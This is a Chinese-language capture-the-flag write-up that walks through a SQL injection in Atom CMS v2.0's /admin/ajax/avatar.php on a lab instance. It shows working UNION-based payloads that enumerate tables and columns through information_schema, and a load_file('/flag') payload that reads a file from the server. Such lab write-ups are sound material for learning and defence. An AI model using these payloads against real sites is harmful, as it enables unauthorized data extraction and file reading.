Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面
正文
首选我们进入这个靶场,直接就是迎头暴击。开局就是not found吗?我还以为是我的问题,退出重进还重置了靶场,才发现这就是首页。
因为靶场启动界面就提示我们是/admin/ajax/avatar.php存在注入,那么我就先来访问一下admin试试看。结果直接跳转到登录界面,好家伙直接来波admin/admin试试看。结果试了半天f12也看了半天才发现,这玩意根本就是一个假的,忽悠人的。
既然这个没用那么我们就直接/admin/ajax去看看有些什么目录吧,不玩这些花里胡哨的东西了。来到ajax目录下,我们直接就找到存在注入的这个网页了。
点击进去发现什么也没有,访问源码发现也没什么太多东西。就给了一个/uploads的路径,那么就去访问一下这个路径看看有没有什么有用的信息吧。我们现在也不知道参数是什么,也注入不了
访问一圈回来,发现就只是一个图片罢了,没用什么有用的信息
找到注入点的参数
回到ajax来,访问其他几个网页,我们在最后两个网页上很明显的看到它的参数是id,那么就可以直接大胆猜测一下,这里的参数都是id。
那么回到/admin/ajax/avatar.php界面把参数id=1输入进去后我们很明显的就发现有变化了,既然有了变化我们就找到注入点了。
判断闭合
我们先来判断一下它的闭合方式,单双引号护法出击,打了一圈发现都报错了,那就直接
1’ and 1=1--+发现没问题,那么就直接开始判断数据库有几列数据。
1’ order by 1--+判断出来只有一个,那么接下来我们直接联合注入
?id=-1 union select databse()--+
注意我这里输入的参数是-1的原因是因为我们需要输入一个不存在的参数这样才会把数据库名报错出来。
获取表名
view-source:http://eci-2ze89kh4pw0luobn2r6y.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=-1 union select group_concat(table_name)from information_schema.tables where table_schema='atomcms'--+
获取列名
然后获取这几个表下的列名
view-source:http://eci-2ze89kh4pw0luobn2r6y.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=-1 union select group_concat(column_name)from information_schema.columns where table_schema='atomcms' and table_name='pages'--+
最后找了一圈发现都没用flag影子,那没办法了。只能通过
view-source:http://eci-2ze89kh4pw0luobn2r6y.cloudeci1.ichunqiu.com/admin/ajax/avatar.php?id=-1+union+(select+load_file('/flag'))--+
获取flag
靶场成功拿下。
扩展
当我们通过注入进去后找不到flag,那么就可以得出结论flag没用藏在数据库里面,它被放在一个单独的文件里面了,那么我们就可以靠load_file()函数来尝试直接读取flag文件。